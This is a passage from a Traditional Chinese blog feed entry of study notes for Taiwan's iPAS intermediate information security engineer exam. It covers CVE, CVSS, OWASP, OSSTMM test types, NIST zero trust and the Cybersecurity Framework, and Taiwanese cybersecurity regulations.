Impact）：分析業務中斷可能對公司聲譽造成的影響。</li><li>法規衝擊（Legal Impact）：考慮業務中斷可能引起的法律問題或法規遵循的問題。</li></ul><h3 id="BS-10012"><a href="#BS-10012" class="headerlink" title="BS 10012"></a>BS 10012</h3><p>明確提供個資管理與隱私保護之系統性的規範與實作指引。<br>與 GDPR、個資保護等法規高度相關</p><h3 id="CVSS-v4-0"><a href="#CVSS-v4-0" class="headerlink" title="CVSS v4.0"></a>CVSS v4.0</h3><p>CVSS（Common Vulnerability Scoring System）是一種被廣泛使用的漏洞評分標準，用於衡量資訊安全漏洞的嚴重程度</p><h3 id="CVE"><a href="#CVE" class="headerlink" title="CVE"></a>CVE</h3><p>CVE 的運作機制<br>由 MITRE 維護：</p><p>MITRE Corporation 是美國國防部資助的非營利性研究機構，負責管理 CVE 系統。<br>MITRE 維護 CVE 並與全球資安社群合作，確保漏洞資訊的完整性和一致性。</p><p>CVE 編號的分配：</p><p>CVE 編號由 CVE Numbering Authority（CNA） 分配。<br>CNA 包括資安公司、研究機構、廠商等。<br>MITRE 是「主 CNA」，負責分配給其他 CNA 權限，並管理全局。</p><p>CVE 的完整名稱：</p><p>CVE 的完整名稱是 Common Vulnerabilities and Exposures（常見漏洞與暴露），不是其他名稱。</p><h3 id="OWASP"><a href="#OWASP" class="headerlink" title="OWASP"></a>OWASP</h3><p>專注於「應用程式安全」的開放性組織，主要針對 網頁應用程式 與 API 提供安全性建議和漏洞列表（如 OWASP Top 10）。</p><h3 id="OSSTMM"><a href="#OSSTMM" class="headerlink" title="OSSTMM"></a>OSSTMM</h3><p>是一種針對資訊安全的開源標準，提供一套完整的安全測試框架，涵蓋了不同層面的安全性測試方法。</p><p>OSSTMM 定義的 5 大安全範圍（Scope）：</p><ul><li><p>PHYSSEC（Physical Security） – 涉及實體安全，包括：</p><ul><li>人員安全（Human）</li><li>設備與設施安全（Physical）</li></ul></li><li><p>COMSEC（Communications Security） – 涉及通訊安全，包括：</p><ul><li>網路安全（Data Networks）</li><li>通訊協定安全</li></ul></li><li><p>SPECSEC（Spectrum Security） – 涉及頻譜安全，包括：</p><ul><li>無線電通訊（如 Wi-Fi、藍牙等）</li><li>✅ 只限於「無線（Wireless）」頻譜，不包括有線通訊</li></ul></li><li><p>TRANSEC（Transmission Security） – 涉及傳輸安全，包括：</p><ul><li>資料在傳輸過程中的完整性與加密</li></ul></li><li><p>PROTSEC（Protection Security） – 涉及防護安全，包括：</p><ul><li>資料保護與存取控制</li></ul></li></ul><table><thead><tr><th>測試類型</th><th>說明</th><th>攻擊者 vs 目標認知</th><th>常見應用</th></tr></thead><tbody><tr><td><strong>Blind Test（盲測）</strong></td><td>攻擊者對目標有限了解，目標對攻擊行為不知情</td><td>攻擊者知識低，目標知識低</td><td>滲透測試（Penetration Test）</td></tr><tr><td><strong>Double Blind Test（雙盲測試）</strong></td><td>攻擊者與目標皆無相關知識</td><td>攻擊者知識低，目標知識低</td><td>高度模擬真實攻擊情境</td></tr><tr><td><strong>Gray Box Test（灰箱測試）</strong></td><td>攻擊者對目標有部分了解，目標對攻擊可能知情</td><td>攻擊者知識中，目標知識低或中</td><td>弱點測試（Vulnerability Test）</td></tr><tr><td><strong>Tandem Test（聯合測試）</strong></td><td>攻擊者與目標皆完全了解</td><td>攻擊者知識高，目標知識高</td><td>協同模擬攻擊情境</td></tr><tr><td><strong>Reversal Test（反向測試）</strong></td><td>攻擊者具備高度知識，目標對攻擊完全知情</td><td>攻擊者知識高，目標知識高</td><td>紅隊演練（Red Team Exercise）</td></tr></tbody></table><h3 id="NIST-SP-800-207-零信任架構"><a href="#NIST-SP-800-207-零信任架構" class="headerlink" title="NIST SP 800-207 零信任架構"></a>NIST SP 800-207 零信任架構</h3><blockquote><p>「永不信任，持續驗證」（Never Trust, Always Verify）</p></blockquote><h4 id="邏輯元件"><a href="#邏輯元件" class="headerlink" title="邏輯元件"></a>邏輯元件</h4><figure markdown="span">![](./assets/零信任-邏輯元件.jpg)<figcaption>Source : https://www.ithome.com.tw/tech/152384</figcaption></figure><ul><li><p>政策引擎（Policy Engine, PE）</p><p>  決定是否允許或拒絕存取請求<br>  參考企業的政策與信任評估來決策<br>  位於 政策決策點（PDP）</p></li><li><p>政策管理者（Policy Administrator, PA）</p><p>  負責將 PE 的決策轉化為行動<br>  發出控制指令來實現允許或拒絕存取<br>  位於 政策決策點（PDP）</p></li><li><p>政策落實點（Policy Enforcement Point, PEP）</p><p>  負責實際的存取控制行動<br>  攔阻或允許來自設備或使用者的連線請求<br>  典型的 PEP 裝置：代理伺服器（Proxy）、終端代理（Endpoint Agent）</p></li></ul><h3 id="NIST-資安框架"><a href="#NIST-資安框架" class="headerlink" title="NIST 資安框架"></a>NIST 資安框架</h3><p>資安框架由3種元素組成，包含<strong>框架核心(Framework Core)</strong>、<strong>框架層級(Implementation Tiers)</strong>、<strong>框架輪廓(Profiles)</strong>，以利企業各部門成員可基於同一套文件，詳細討論資安防禦的措施。</p><figure markdown="span">![](./assets/NIST-struct.jpg)<figcaption>Source : https://teamt5.org/tw/posts/what-is-nist-cybersecurity-framework/</figcaption></figure><hr><h2 id="法規"><a href="#法規" class="headerlink" title="法規"></a>法規</h2><h3 id="資通安全管理法施行細則"><a href="#資通安全管理法施行細則" class="headerlink" title="資通安全管理法施行細則"></a>資通安全管理法施行細則</h3><p>本法第十條、第十六條第二項及第十七條第一項所定<strong>資通安全維護計畫</strong></p><ul><li>核心業務及其重要性。</li><li>資通安全政策及目標。</li><li><strong>資通安全推動組織。</strong></li><li><strong>專責人力及經費之配置。</strong></li><li>公務機關資通安全長之配置。</li><li>資通系統及資訊之盤點，並標示核心資通系統及相關資產。</li><li>資通安全風險評估。</li><li>資通安全防護及控制措施。</li><li>資通安全事件通報、應變及演練相關機制。</li><li>資通安全情資之評估及因應機制。</li><li>資通系統或服務委外辦理之管理措施。</li><li>公務機關所屬人員辦理業務涉及資通安全事項之考核機制。</li><li>資通安全維護計畫與實施情形之持續精進及績效管理機制。</li></ul><h2 id="資通安全責任等級分級辦法"><a href="#資通安全責任等級分級辦法" class="headerlink" title="資通安全責任等級分級辦法"></a>資通安全責任等級分級辦法</h2><table><thead><tr><th>資通安全責任等級</th><th>適用情形</th></tr></thead><tbody><tr><td>A 級</td><td>涉及極高機密或關係國家安全的重要資訊</td></tr><tr><td>B 級</td><td>涉及公務機關捐助或研發之敏感科學技術資訊，需要較高層級的保護</td></tr><tr><td>C 級</td><td>一般內部營運資訊，保護要求中等</td></tr><tr><td>D 級</td><td>資訊公開或低風險資訊</td></tr><tr><td>E 級</td><td>資訊安全保護要求最低</td></tr></tbody></table><h2 id="《資通安全事件通報及應變辦法》分級標準"><a href="#《資通安全事件通報及應變辦法》分級標準" class="headerlink" title="《資通安全事件通報及應變辦法》分級標準"></a>《資通安全事件通報及應變辦法》分級標準</h2><p>根據《資通安全事件通報及應變辦法》，資通安全事件通常依影響程度分為 4 個等級：</p><ul><li><p>四級（最嚴重）</p><p>  對國家安全或重要基礎設施造成嚴重影響或癱瘓。<br>  需跨部門、跨國合作進行應變。</p></li><li><p>三級</p><p>  影響關鍵系統或服務，可能造成重大財務損失或資訊外洩。<br>  需跨單位合作進行應變。</p></li><li><p>二級</p><p>  造成部分系統或服務受影響，但可迅速修復，影響範圍有限。</p></li><li><p>一級（最輕微）</p><p>  屬於初步攻擊或可疑活動，尚未造成明顯損害。<br>  可透過內部資安團隊或 IT 團隊進行應變。</p></li></ul>]]></content>
    
    
    <summary type="html">iPAS 資安工程師中級考試重點與準備資源整理</summary>
    
    
    
    <category term="Certificate" scheme="https://yunshiuan.com/categories/Certificate/"/>
    
    
    <category term="iPAS" scheme="https://yunshiuan.com/tags/iPAS/"/>
    
    <category term="資安工程師" scheme="https://yunshiuan.com/tags/%E8%B3%87%E5%AE%89%E5%B7%A5%E7%A8%8B%E5%B8%AB/"/>
    
    <category term="筆記" scheme="https://yunshiuan.com/tags/%E7%AD%86%E8%A8%98/"/>
    
  </entry>
  
</feed>
